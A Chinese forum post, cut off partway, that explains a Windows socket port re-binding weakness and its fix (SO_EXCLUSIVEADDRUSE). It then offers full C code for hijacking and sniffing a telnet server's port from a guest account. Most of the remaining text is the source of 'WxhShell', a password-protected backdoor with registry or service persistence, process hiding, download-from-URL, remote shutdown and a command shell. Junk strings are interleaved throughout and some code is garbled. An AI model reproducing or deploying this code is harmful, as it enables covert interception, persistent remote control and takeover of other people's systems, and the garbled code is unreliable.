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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _a|-_p  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +*Y/+.4WE$  
dUegHBw_`R  
  saddr.sin_family = AF_INET; b= amd*  
x|g>Zd/n  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); V+G.TI P  
nd_+g2x'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (S3\O `5  
HRS^91aK  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 TmZ sC5  
#&u9z5ywM  
  这意味着什么?意味着可以进行如下的攻击: ~4IkQ|,  
o/I'Qi$v-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6jyS]($q  
Kx==vq%39  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >c %*:a  
>1q W*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'M8wjU  
xn|M]E1)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "ld4v+o8l  
VJviX[V?4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 F6^Xi"R[  
m?G@#[ l  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #29m <f_n  
_ `5?/\7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $2I^ ;5r[  
g-)izPX  
  #include @#m@ .   
  #include oM ey^]!  
  #include v o<'7,  
  #include    pbc<326X"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T rK-XTev  
  int main() wyWe2d  
  { jiw5>RNt  
  WORD wVersionRequested; moz*=a  
  DWORD ret; `#J0@ -  
  WSADATA wsaData; sa6/$  
  BOOL val; #2 Gy=GvV  
  SOCKADDR_IN saddr; 7-S?\:J  
  SOCKADDR_IN scaddr; b{4@ ~>i  
  int err; %QYW0lE  
  SOCKET s; 2E7vuFH4c  
  SOCKET sc; gkkT<hEV=  
  int caddsize; -|_#6-9  
  HANDLE mt; "]H_;:{f  
  DWORD tid;   %?  87#|  
  wVersionRequested = MAKEWORD( 2, 2 ); ]c/k%] o~  
  err = WSAStartup( wVersionRequested, &wsaData ); A><w1-X&=o  
  if ( err != 0 ) { f0Wbc\L[  
  printf("error!WSAStartup failed!\n"); SlK 6KnX  
  return -1; EGJ d:>k  
  } *DBm"{q%&k  
  saddr.sin_family = AF_INET; at<N?r  
   [ {@0/5i  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e"g=A=S  
B L^?1x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  ZDn5d%  
  saddr.sin_port = htons(23); ^/c v8M=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0o-. m  
  { u_31Db<  
  printf("error!socket failed!\n"); oJ4OVfknD  
  return -1; y@GqAN'DK[  
  } L?h'^*F H}  
  val = TRUE; dbVMG-z8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ) oypl+y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) % )o'9  
  { Pk{eGG<F$  
  printf("error!setsockopt failed!\n"); 2&b?NqEeZ  
  return -1; $f>h_8cla  
  } 41^=z[k  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {~*^jS']5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;zF3e&e(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 VA D9mS^~  
<A~a|A-QFR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r3OR7f[  
  { vIzREu|5  
  ret=GetLastError(); `PoFKtVX M  
  printf("error!bind failed!\n"); Gn?NY}.S  
  return -1; r%=}e++^%  
  } T5<851rH  
  listen(s,2); ,y>Sq +  
  while(1) u$M,&Om  
  { r3;@  
  caddsize = sizeof(scaddr); oeKVcVP|'&  
  //接受连接请求 v~.nP} E^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qp##>c31X  
  if(sc!=INVALID_SOCKET) 7oWT6Qa5  
  { #S4lRVt5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sV']p#HK0  
  if(mt==NULL) HP,sNiw  
  { IoAG!cS  
  printf("Thread Creat Failed!\n"); #OMFv.  
  break; F9}jiCom  
  } I,8f{T!O@"  
  } v w  
  CloseHandle(mt); w ag^Sk  
  } MJ?fMR@  
  closesocket(s); %$Sm ei  
  WSACleanup(); 5|<jPc  
  return 0; ](@HPAG]  
  }   7$ze RYD+  
  DWORD WINAPI ClientThread(LPVOID lpParam) #Ch*a.tI@  
  { ~vPR9\e  
  SOCKET ss = (SOCKET)lpParam; {3LAK[ C  
  SOCKET sc; [C-4*qOaa2  
  unsigned char buf[4096]; .91@T.  
  SOCKADDR_IN saddr; q}xYme4  
  long num; .Ld{QPa  
  DWORD val; ;n\$'"K&;  
  DWORD ret; ;07>ZH%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cfZ$V^xM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   m8ApiGG  
  saddr.sin_family = AF_INET; DWwPid} "  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zBjtPtiiI8  
  saddr.sin_port = htons(23); fHV%.25  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nDU=B.?E{O  
  { p[^a4E_v  
  printf("error!socket failed!\n"); Ip_deP@  
  return -1; ]I^b&N  
  } I%<LLkQ  
  val = 100; ?:AD&Dn  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qG)M8xk  
  { +x(~!33[G  
  ret = GetLastError(); Y#<>N-X|kA  
  return -1; A||,|He~  
  } 7TU(~]Z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S*3*Q l*  
  { &l8eljg  
  ret = GetLastError(); )W,.xP  
  return -1; [:BD9V  
  } cF V[k'F  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +Y! P VMF  
  { V] 0T P#  
  printf("error!socket connect failed!\n"); y>! 8mDvZ  
  closesocket(sc); nl)l:A+q8  
  closesocket(ss); "p@EY|Zv%I  
  return -1; ,j!%,!n o  
  } cp_<y)__  
  while(1) 5._1G| 3  
  { $a#-d;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Fm#`}K_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T0e- X  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Z#NEa.]  
  num = recv(ss,buf,4096,0); sS{!z@\Lf  
  if(num>0) M 8NWQ^Y  
  send(sc,buf,num,0); Kl/n>qEt  
  else if(num==0) UbDpSfub  
  break; oAprM Z 7Y  
  num = recv(sc,buf,4096,0); MHqk-4Mz  
  if(num>0) =kP|TR!o-  
  send(ss,buf,num,0); KD* xFap  
  else if(num==0) /6{P ?)]pE  
  break; aN?^vW<  
  } ?RPVd8PUhN  
  closesocket(ss); =1r!'<"h  
  closesocket(sc); +4g H=6  
  return 0 ;  NIh?2w"\  
  } S Rb-eDk'  
5q,ZH6\ {  
s1>d)2lX  
========================================================== "&%Lhyt  
d=C&b]  
下边附上一个代码,,WXhSHELL Q+7+||RW  
*!r"+?0gN  
========================================================== KXf (v4  
/<VR-yr  
#include "stdafx.h"  SH6+'7  
5V*R  Dh  
#include <stdio.h> N;` jz(r  
#include <string.h> U ATF}x   
#include <windows.h> N`J]k B7  
#include <winsock2.h> gp<XTLJ@>  
#include <winsvc.h> br,xwc  
#include <urlmon.h> mFrDV,V  
`$t|O&z  
#pragma comment (lib, "Ws2_32.lib") lx{ ' bzv  
#pragma comment (lib, "urlmon.lib") 3|Y2BA d  
E_ D0Nm%n  
#define MAX_USER   100 // 最大客户端连接数 -q30tO.  
#define BUF_SOCK   200 // sock buffer 3}2;*:p4Y  
#define KEY_BUFF   255 // 输入 buffer u?rs6A[h#  
'Px}#f0IR  
#define REBOOT     0   // 重启 0.kC|  
#define SHUTDOWN   1   // 关机 ^AF~k#R  
4TRF-f  
#define DEF_PORT   5000 // 监听端口 . e_VPKF|  
s4`,Z*H  
#define REG_LEN     16   // 注册表键长度 :MihVLF  
#define SVC_LEN     80   // NT服务名长度 ~%L=<TBAc  
tx7B?/5D  
// 从dll定义API {BY(zsl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %n^ugm0B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); : G'a"%x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Le V";=_n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T STkMlCG  
Hxx]q+DAS  
// wxhshell配置信息 j6WDh}#  
struct WSCFG { \Mzr[dI  
  int ws_port;         // 监听端口 N4l}5(e  
  char ws_passstr[REG_LEN]; // 口令 @|:yK|6O  
  int ws_autoins;       // 安装标记, 1=yes 0=no muMd9\p  
  char ws_regname[REG_LEN]; // 注册表键名 qVssw* GDB  
  char ws_svcname[REG_LEN]; // 服务名 c'D NO~H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Vg(FF "  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N u3B02D*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?vP6~$*B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "*LQr~k~}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q 7-ZPX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T3NH8nH9"z  
w<u@L  
}; E[Q2ZqhgbP  
wGw<z[:f  
// default Wxhshell configuration q"i]&dMr  
struct WSCFG wscfg={DEF_PORT, VCzb[.  
    "xuhuanlingzhe", z.Vf,<H  
    1, .@0@Y  
    "Wxhshell", 9-Z ?  
    "Wxhshell", mu2|%$C;$  
            "WxhShell Service", 2cjbb kq  
    "Wrsky Windows CmdShell Service", }wZsM[NDB  
    "Please Input Your Password: ", :JU$ 6  
  1, ; +1ooeU  
  "http://www.wrsky.com/wxhshell.exe", 2^%O%Pc  
  "Wxhshell.exe" S$=caZ?  
    }; J1w,;T\55  
NiYT%K%  
// 消息定义模块 5<M$ XT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +;,X?E]g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d;nk>6<|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RI<&cgWn+<  
char *msg_ws_ext="\n\rExit."; R*?!xDJ  
char *msg_ws_end="\n\rQuit."; ^Y%<$IFG  
char *msg_ws_boot="\n\rReboot..."; 6_&S ?yA  
char *msg_ws_poff="\n\rShutdown..."; vdh[%T,&  
char *msg_ws_down="\n\rSave to "; V 4&a+MJ@  
%]1te*_  
char *msg_ws_err="\n\rErr!"; |]~],  
char *msg_ws_ok="\n\rOK!"; mQ9y{}t=4  
Aho-\9/x%  
char ExeFile[MAX_PATH]; mV0u:ws  
int nUser = 0; ^{YK'60  
HANDLE handles[MAX_USER]; {v"Y!/ [z  
int OsIsNt; ?<rZ9$  
T$sm}=  
SERVICE_STATUS       serviceStatus; biZ=TI2P,L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H43d[@h  
Z<*"sFpAO  
// 函数声明 /9,y+"0SQz  
int Install(void); ,/qY 9eh  
int Uninstall(void); .Fx3WryF  
int DownloadFile(char *sURL, SOCKET wsh); 2FY]o~@  
int Boot(int flag); u2IU/z8 ^  
void HideProc(void); {Iz"]Wh<f  
int GetOsVer(void); DyCkz"1S  
int Wxhshell(SOCKET wsl); O^q~dda  
void TalkWithClient(void *cs); T*g}^TEh  
int CmdShell(SOCKET sock); $Wjx$fD  
int StartFromService(void); ] &SmeTe  
int StartWxhshell(LPSTR lpCmdLine); ?Yx2q_KZk  
yMD3h$w3a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CM6! 1 7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [{>3"XJ'  
;U3K@_  
// 数据结构和表定义 1p$*N  
SERVICE_TABLE_ENTRY DispatchTable[] = =?_:h`}  
{ gtIEpYN+  
{wscfg.ws_svcname, NTServiceMain}, sm{/S*3  
{NULL, NULL} j'OXT<n*  
}; At'M? Q@v  
$3g M P+  
// 自我安装 4|4 *rhwp  
int Install(void) e jR_3K^  
{ MEM(uBYKOb  
  char svExeFile[MAX_PATH]; fCZ"0P3(  
  HKEY key; ,J=lHj  
  strcpy(svExeFile,ExeFile); ac6@E4 _  
f\r"7j  
// 如果是win9x系统,修改注册表设为自启动 =:t<!dp  
if(!OsIsNt) { 1<cx!=w'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ; K,5qs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |)br-?2  
  RegCloseKey(key); <9\Lv]ng  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ArScJ\/Nwv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RN}joKV  
  RegCloseKey(key); D2J)qCK1)  
  return 0; C ^c <s  
    } RR|X4h0.  
  } VrWQ]L  
}  6@"E*-z$  
else { =A~5?J=  
8kC$Z)  
// 如果是NT以上系统,安装为系统服务 Q`{Vs:8X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H?FiZy*[Y  
if (schSCManager!=0) s8 u`v1  
{ tvBLfqIr  
  SC_HANDLE schService = CreateService q#1G4l.  
  ( | O9b  
  schSCManager,  ^6b5}{>  
  wscfg.ws_svcname, G$luGxl[  
  wscfg.ws_svcdisp, ]o8yZ x  
  SERVICE_ALL_ACCESS, b~B'FD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k!G{#(++&6  
  SERVICE_AUTO_START, N<<O(r  
  SERVICE_ERROR_NORMAL, q(csZ\e=  
  svExeFile, v$+A!eo  
  NULL, 4"\x#  
  NULL, @BPQ >  
  NULL, e&E7_  
  NULL, {:=W) 37U  
  NULL :hcOceNz  
  ); .wUnN8crQ  
  if (schService!=0) K:% MhH-  
  { 0!RP7Sx  
  CloseServiceHandle(schService); 7HQL^Q  
  CloseServiceHandle(schSCManager); 5!pNo*QK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &ld<fa(w+2  
  strcat(svExeFile,wscfg.ws_svcname); :5'hd^Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n*i&o;5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T tnJ u*  
  RegCloseKey(key); =T#hd7O`V  
  return 0; K4H27SH  
    } Y]Z&  
  }  deq5u>  
  CloseServiceHandle(schSCManager); 6)W8HX~+  
} wkx#WC  
} $at\aJ  
CIsX$W  
return 1; =[[I<[BZq  
} c}|} o^  
.3jijc j  
// 自我卸载 >o%X;U 3  
int Uninstall(void) vbX.0f "n  
{ P : L6Zo-J  
  HKEY key; ,7Ejb++/M,  
9UV}`UM3V  
if(!OsIsNt) { E2z=U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W$Xr:RU  
  RegDeleteValue(key,wscfg.ws_regname); X\w["! B  
  RegCloseKey(key); cvf?ID84  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E{QjmlXQ<  
  RegDeleteValue(key,wscfg.ws_regname); +]GP"yv-  
  RegCloseKey(key); q2OF-.rE  
  return 0; he@Y1CY  
  } <%W&xk  
} f3^qO9R  
} SUIu.4Mz  
else { O_GHvLO=  
GT80k]e.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B.smQt  
if (schSCManager!=0) MRZN4<}9  
{ k {vd1,HZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4E}Q<?UYSt  
  if (schService!=0) s<Nw)Ynw  
  { xls US'Eo  
  if(DeleteService(schService)!=0) { nr8#;D  
  CloseServiceHandle(schService); HRQfT>"/  
  CloseServiceHandle(schSCManager); V$:%CIn  
  return 0; b|may/xWH  
  } ~p:hqi1+<+  
  CloseServiceHandle(schService); /VP #J<6L  
  } XMykUr e|  
  CloseServiceHandle(schSCManager); ~|"uuA1/#O  
} S6C DK:  
} MtgY `p  
2P${5WT  
return 1; b"`Q&V.  
} Oiqc]4TL  
H#WqO<<v  
// 从指定url下载文件 X+HPdrT  
int DownloadFile(char *sURL, SOCKET wsh) 6' \M:'<0e  
{ wuxOFlrg  
  HRESULT hr; r+6 DlT a  
char seps[]= "/"; @3 +   
char *token; 69Z`mR  
char *file; 7l09  
char myURL[MAX_PATH]; ^^24a_+2  
char myFILE[MAX_PATH]; d_f*'M2Gv  
(&V)D?/hS  
strcpy(myURL,sURL); |Q@(<'8=  
  token=strtok(myURL,seps); ftRdK>a D  
  while(token!=NULL) =Lb(N61  
  { /UY'E<wBx  
    file=token; BT^=p  
  token=strtok(NULL,seps); V\Y, 4&bI  
  } UF\k0oLz  
EM1HwapD  
GetCurrentDirectory(MAX_PATH,myFILE); D8xE"6T>  
strcat(myFILE, "\\"); Fo5UG2E&  
strcat(myFILE, file); tu@-+< *  
  send(wsh,myFILE,strlen(myFILE),0); N6T  
send(wsh,"...",3,0); !}c\u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a*_&[  
  if(hr==S_OK) O-pH~E  
return 0; |5q,%9_  
else D vN0h(?  
return 1; paYS< 8In  
G9#3 |B-?  
} _5p]Arg?}&  
E@l@f  
// 系统电源模块 2#CN:b]+  
int Boot(int flag) s0h0Ep ED  
{ xc05GJ  
  HANDLE hToken; %,@e- &>  
  TOKEN_PRIVILEGES tkp; m(5LXH Jnv  
MCIuP`sC|  
  if(OsIsNt) { e5lJ)_o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Jvj* z6/a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Cv&>:k0V  
    tkp.PrivilegeCount = 1; 9KT85t1#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )(1tDQ`L>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /?|;f2tbV2  
if(flag==REBOOT) { "]=XB0)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R!\._m?\h  
  return 0; kFT*So`'  
} zxd<Cq>d  
else { unnuSW#v=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vDR> Q&/K  
  return 0; p]toDy-}  
} V1,~GpNx  
  } |TJu|zv^  
  else { nDLiER;U  
if(flag==REBOOT) { %x}Unk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }XRfHQk  
  return 0; ^L\w"`,~  
}  ;Yg/y  
else { m1tc="j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dDA&\BuS  
  return 0; DGz}d,ie  
} @00&J~D  
} 5l(@p7_+  
~X'hRNFx~  
return 1; X*bOE}  
} -:Juxh  
BHNJH  
// win9x进程隐藏模块 {n<1uh9~$8  
void HideProc(void) U D5hk  
{ *Ct ^jU7  
6pZ/C<Y|W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6$csFW3R  
  if ( hKernel != NULL ) O\@0o|NM  
  { b=L|GV@$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9):^[Wkx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }Py Z{yS  
    FreeLibrary(hKernel); [Z1,~(3  
  } ?fpI,WFu  
O31.\ZR2  
return; |+<o(Q(  
} [W dxMU  
k4^!"~<+0  
// 获取操作系统版本 S6_dmTV*  
int GetOsVer(void) 1vq c8lC  
{ w'mn O'%  
  OSVERSIONINFO winfo; />7G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UVsF !0  
  GetVersionEx(&winfo); -.Z;n1'^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Oek$f,J-  
  return 1; fCv.$5  
  else -9s&OKo`({  
  return 0; w (ev=)7<  
} @ "C P@^  
H^$7=  
// 客户端句柄模块 5<oV>|*@{  
int Wxhshell(SOCKET wsl) &>ykkrY  
{ _w%{yF6   
  SOCKET wsh; ,pdf$) XB  
  struct sockaddr_in client; nEik;hAz  
  DWORD myID; f4|ir3oy  
}|c-i.0=  
  while(nUser<MAX_USER) /BM{tH  
{ F/df!I~  
  int nSize=sizeof(client); o'YK\L!p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); quq!Jswn  
  if(wsh==INVALID_SOCKET) return 1; 8ROZ]Xh,x  
<sjz_::V8R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =Zaw>p*H  
if(handles[nUser]==0) #!4 HSBf  
  closesocket(wsh); ;PMy9H  
else 7q#R,\  
  nUser++; @4]dv> Z  
  } #/hXcF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cA!o xti  
 '^,|8A2  
  return 0; 7X.B  
} V?jot<|$  
M-C>I;a  
// 关闭 socket #ePtfRzJ  
void CloseIt(SOCKET wsh) zZPXI&,  
{ AUr~b3< 6  
closesocket(wsh); u#$sO;8s  
nUser--; ]"\sd"  
ExitThread(0); KU.F4I8}q  
} w?R#ly  
R^JtWjJR  
// 客户端请求句柄 QY1|:(  
void TalkWithClient(void *cs) Dq*O8*#*  
{ __-V_(/b,x  
!L@a;L  
  SOCKET wsh=(SOCKET)cs; 14h0$7  
  char pwd[SVC_LEN]; qtS+01o  
  char cmd[KEY_BUFF]; NHaqT@:  
char chr[1]; &W>%E!F  
int i,j; @dvb%A&Pur  
}#`-mRaU  
  while (nUser < MAX_USER) { g+KuK`\N%  
Mqmy*m[U  
if(wscfg.ws_passstr) { V_=7q=9mV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A_|X54}w&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Twk,R. O  
  //ZeroMemory(pwd,KEY_BUFF); VyOpPIP  
      i=0; 6" GHVFB  
  while(i<SVC_LEN) { bN>|4hS  
?T8^tGD[  
  // 设置超时 5?Rzyfwk|  
  fd_set FdRead; V<t!gT#&o!  
  struct timeval TimeOut; U)qG]RI  
  FD_ZERO(&FdRead); CVGQ<,KVW  
  FD_SET(wsh,&FdRead); -Dr)+Y  
  TimeOut.tv_sec=8; aq.Lnbi/X  
  TimeOut.tv_usec=0; +^ |=MK%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Iv>4o~t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u 9kh@0  
.J2tm2]"EZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lXu6=r  
  pwd=chr[0]; <USr$  
  if(chr[0]==0xd || chr[0]==0xa) { z_t%n<OvK  
  pwd=0; Q;2n  
  break; |@pn=wW  
  } [^\HP] *Q{  
  i++; _4X3g%nXl  
    } -AM(-  
!u=A9i!  
  // 如果是非法用户,关闭 socket ac/<N%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aHSl_[  
} *nV*WU S3  
q,.@<sW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y| F~w~Cb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t ;bU#THM  
f^@D uI  
while(1) { kD_616  
) t$o0!  
  ZeroMemory(cmd,KEY_BUFF); k'-5&Q  
lQf38u||  
      // 自动支持客户端 telnet标准   n4DKLAl  
  j=0; ITBa ^P  
  while(j<KEY_BUFF) { ?;CMsO*q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M1e79p<  
  cmd[j]=chr[0]; ZKoISuM  
  if(chr[0]==0xa || chr[0]==0xd) { H.!\j&4j  
  cmd[j]=0; Bx ru7E"  
  break; &>3 AL,  
  } Tu}?Q. pKo  
  j++; }/.GB5Ej  
    } 1p COLC%1  
"uG@gV  
  // 下载文件 qnTW?c9Z5  
  if(strstr(cmd,"http://")) { lVo}DFZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {4HcecT  
  if(DownloadFile(cmd,wsh)) DkeFDzQ5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E6s)J -a  
  else I+']av8e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tZ_D.syBAc  
  } B1(T-pr  
  else { 7uxUqM  
@ wx  
    switch(cmd[0]) { Q<fDtf}  
  05Y4=7,!  
  // 帮助 &4jc3_UKV  
  case '?': { 9"b  =W@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9{XV=a v  
    break; uN9J?j*ir  
  } TX$4x~:  
  // 安装 :a'[ 4w  
  case 'i': { Ae_:Kc6  
    if(Install()) ExZ|_7^<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +`'>   
    else 3 cF4xUIZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !A&>Eeai  
    break; @ACq:+/Q c  
    } m"RSDM!  
  // 卸载 !6l}s$1i|  
  case 'r': { rtZEK:.#  
    if(Uninstall()) V D.T=(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fW3NH7aUG  
    else >A ?,[p`<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )^LiAL h  
    break; %O\zYtQR  
    } \??20iz  
  // 显示 wxhshell 所在路径 ^/DP%^D  
  case 'p': { $Lt'xW`8  
    char svExeFile[MAX_PATH]; p{oc}dWin  
    strcpy(svExeFile,"\n\r"); $`6Q\=*R/  
      strcat(svExeFile,ExeFile); cOvdC4  
        send(wsh,svExeFile,strlen(svExeFile),0); s1%th"e [  
    break; O("13cU  
    } 8>a%L?BY  
  // 重启 9 1ndr@*|  
  case 'b': { c^x5 E`{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @"O|[%7e  
    if(Boot(REBOOT)) gfly?)VnF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c, FZ{O@  
    else { 0artR~*}  
    closesocket(wsh); 9 y{R_  
    ExitThread(0); tM3Q;8gB!  
    } (svKq(X  
    break; .r\|9 *j<  
    } /xw}]Fa5  
  // 关机 G:i>MJbxT  
  case 'd': { nr- 32u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :fA|J!^b[  
